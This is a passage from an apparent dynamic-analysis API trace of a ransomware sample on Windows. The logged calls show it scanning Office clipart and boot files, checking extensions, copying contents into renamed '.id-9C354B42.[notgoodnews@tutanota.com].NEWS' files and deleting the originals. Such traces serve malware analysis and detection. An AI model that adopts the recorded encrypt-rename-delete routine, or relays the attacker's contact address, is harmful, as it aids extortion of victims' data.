Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.278] lstrlenW (lpString=".1cd") returned 4 [0272.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0272.278] lstrlenW (lpString=".jpg") returned 4 [0272.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.279] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.280] lstrlenW (lpString="BS00443_.WMF") returned 12 [0272.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.281] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1676) returned 1 [0272.281] CloseHandle (hObject=0x3c8) returned 1 [0272.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0272.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.282] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.283] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0272.284] GetLastError () returned 0x0 [0272.284] ReadFile (in: hFile=0x3c8, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x68c, lpOverlapped=0x0) returned 1 [0272.349] WriteFile (in: hFile=0x1cc, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x690, lpOverlapped=0x0) returned 1 [0272.352] ReadFile (in: hFile=0x3c8, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.353] WriteFile (in: hFile=0x1cc, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.354] SetEndOfFile (hFile=0x1cc) returned 1 [0272.355] CloseHandle (hObject=0x1cc) returned 1 [0272.355] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.355] SetEndOfFile (hFile=0x3c8) returned 1 [0272.362] CloseHandle (hObject=0x3c8) returned 1 [0272.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0272.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.414] lstrlenW (lpString=".doc") returned 4 [0272.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.414] lstrlenW (lpString=".docx") returned 5 [0272.414] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.414] lstrlenW (lpString=".pdf") returned 4 [0272.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.414] lstrlenW (lpString=".xls") returned 4 [0272.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.414] lstrlenW (lpString=".xlsx") returned 5 [0272.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.414] lstrlenW (lpString=".ppt") returned 4 [0272.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.415] lstrlenW (lpString=".zip") returned 4 [0272.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.415] lstrlenW (lpString=".rar") returned 4 [0272.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.415] lstrlenW (lpString=".bz2") returned 4 [0272.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.530] lstrlenW (lpString=".7z") returned 3 [0272.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.531] lstrlenW (lpString=".dbf") returned 4 [0272.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.531] lstrlenW (lpString=".1cd") returned 4 [0272.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.531] lstrlenW (lpString=".jpg") returned 4 [0272.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.532] lstrlenW (lpString=".doc") returned 4 [0272.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.532] lstrlenW (lpString=".docx") returned 5 [0272.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.532] lstrlenW (lpString=".pdf") returned 4 [0272.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.532] lstrlenW (lpString=".xls") returned 4 [0272.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.532] lstrlenW (lpString=".xlsx") returned 5 [0272.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.532] lstrlenW (lpString=".ppt") returned 4 [0272.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.533] lstrlenW (lpString=".zip") returned 4 [0272.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.533] lstrlenW (lpString=".rar") returned 4 [0272.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.533] lstrlenW (lpString=".bz2") returned 4 [0272.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.533] lstrlenW (lpString=".7z") returned 3 [0272.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.533] lstrlenW (lpString=".dbf") returned 4 [0272.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.534] lstrlenW (lpString=".1cd") returned 4 [0272.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0272.534] lstrlenW (lpString=".jpg") returned 4 [0272.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.535] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.535] lstrlenW (lpString="BS01603_.WMF") returned 12 [0272.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.879] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7176) returned 1 [0272.880] CloseHandle (hObject=0x3b0) returned 1 [0272.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0272.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0272.944] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.945] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.945] GetLastError () returned 0x0 [0272.946] ReadFile (hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0) Thread: id = 66 os_tid = 0x648 [0193.609] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x941f48 [0193.610] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x951f50 [0193.611] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4b80 [0193.611] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x930e90 [0193.611] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4b98 [0193.611] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3900020 [0193.612] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4bb0 [0193.612] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4bb0, Size=0x20) returned 0x8d32b0 [0193.612] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4bb0 [0193.612] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4bb0, Size=0x20) returned 0x8d3288 [0193.613] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.613] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.613] Wow64DisableWow64FsRedirection (in: OldValue=0x2deff58 | out: OldValue=0x2deff58*=0x0) returned 1 [0193.613] lstrlenW (lpString="kernel32.dll") returned 12 [0193.613] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d32b0 | out: hHeap=0x880000) returned 1 [0193.613] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.613] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3288 | out: hHeap=0x880000) returned 1 [0193.614] Sleep (dwMilliseconds=0x64) [0193.836] Sleep (dwMilliseconds=0x64) [0194.914] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0194.914] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0194.914] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.430] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=1984228) returned 1 [0195.430] CloseHandle (hObject=0x208) returned 1 [0195.430] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0195.430] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.431] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0195.431] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.431] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.431] lstrlenW (lpString=".doc") returned 4 [0195.431] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0195.431] lstrlenW (lpString=".docx") returned 5 [0195.431] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0195.431] lstrlenW (lpString=".pdf") returned 4 [0195.432] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0195.432] lstrlenW (lpString=".xls") returned 4 [0195.432] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0195.432] lstrlenW (lpString=".xlsx") returned 5 [0195.432] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0195.432] lstrlenW (lpString=".ppt") returned 4 [0195.432] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0195.432] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.432] lstrlenW (lpString=".zip") returned 4 [0195.432] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0195.432] lstrlenW (lpString=".rar") returned 4 [0195.433] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0195.433] lstrlenW (lpString=".bz2") returned 4 [0195.433] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0195.433] lstrlenW (lpString=".7z") returned 3 [0195.433] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0195.433] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.433] lstrlenW (lpString=".dbf") returned 4 [0195.433] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0195.433] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.433] lstrlenW (lpString=".1cd") returned 4 [0195.433] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0195.433] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.434] lstrlenW (lpString=".jpg") returned 4 [0195.434] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0195.434] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.434] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.434] lstrlenW (lpString=".doc") returned 4 [0195.434] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0195.434] lstrlenW (lpString=".docx") returned 5 [0195.434] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0195.434] lstrlenW (lpString=".pdf") returned 4 [0195.434] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0195.435] lstrlenW (lpString=".xls") returned 4 [0195.435] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0195.435] lstrlenW (lpString=".xlsx") returned 5 [0195.435] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0195.435] lstrlenW (lpString=".ppt") returned 4 [0195.435] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0195.435] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.435] lstrlenW (lpString=".zip") returned 4 [0195.435] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0195.435] lstrlenW (lpString=".rar") returned 4 [0195.435] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0195.435] lstrlenW (lpString=".bz2") returned 4 [0195.436] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0195.436] lstrlenW (lpString=".7z") returned 3 [0195.436] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0195.436] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.436] lstrlenW (lpString=".dbf") returned 4 [0195.436] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0195.436] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.436] lstrlenW (lpString=".1cd") returned 4 [0195.436] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0195.436] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0195.436] lstrlenW (lpString=".jpg") returned 4 [0195.436] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0195.437] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.437] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.437] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.438] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=93248) returned 1 [0195.438] CloseHandle (hObject=0x208) returned 1 [0195.438] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0195.438] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.438] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.439] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.439] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.439] lstrlenW (lpString=".doc") returned 4 [0195.439] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.439] lstrlenW (lpString=".docx") returned 5 [0195.439] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.439] lstrlenW (lpString=".pdf") returned 4 [0195.439] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.439] lstrlenW (lpString=".xls") returned 4 [0195.439] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.440] lstrlenW (lpString=".xlsx") returned 5 [0195.440] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.440] lstrlenW (lpString=".ppt") returned 4 [0195.440] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.440] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.440] lstrlenW (lpString=".zip") returned 4 [0195.440] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.440] lstrlenW (lpString=".rar") returned 4 [0195.440] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.440] lstrlenW (lpString=".bz2") returned 4 [0195.441] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.441] lstrlenW (lpString=".7z") returned 3 [0195.441] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.441] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.441] lstrlenW (lpString=".dbf") returned 4 [0195.441] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.441] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.441] lstrlenW (lpString=".1cd") returned 4 [0195.441] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.441] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.441] lstrlenW (lpString=".jpg") returned 4 [0195.441] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.442] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.442] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.442] lstrlenW (lpString=".doc") returned 4 [0195.442] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.442] lstrlenW (lpString=".docx") returned 5 [0195.442] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.442] lstrlenW (lpString=".pdf") returned 4 [0195.442] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.442] lstrlenW (lpString=".xls") returned 4 [0195.442] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.443] lstrlenW (lpString=".xlsx") returned 5 [0195.443] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.443] lstrlenW (lpString=".ppt") returned 4 [0195.443] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.443] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.443] lstrlenW (lpString=".zip") returned 4 [0195.443] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.443] lstrlenW (lpString=".rar") returned 4 [0195.443] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.443] lstrlenW (lpString=".bz2") returned 4 [0195.443] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.443] lstrlenW (lpString=".7z") returned 3 [0195.444] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.444] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.444] lstrlenW (lpString=".dbf") returned 4 [0195.444] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.444] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.444] lstrlenW (lpString=".1cd") returned 4 [0195.444] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.444] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0195.444] lstrlenW (lpString=".jpg") returned 4 [0195.444] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.445] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.445] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.445] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.446] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=90688) returned 1 [0195.446] CloseHandle (hObject=0x208) returned 1 [0195.446] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0195.446] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.446] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.446] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.447] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.447] lstrlenW (lpString=".doc") returned 4 [0195.447] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.447] lstrlenW (lpString=".docx") returned 5 [0195.447] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.447] lstrlenW (lpString=".pdf") returned 4 [0195.447] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.447] lstrlenW (lpString=".xls") returned 4 [0195.447] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.447] lstrlenW (lpString=".xlsx") returned 5 [0195.447] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.447] lstrlenW (lpString=".ppt") returned 4 [0195.448] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.448] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0195.448] lstrlenW (lpString=".zip") returned 4 [0195.448] lstrcmpiW 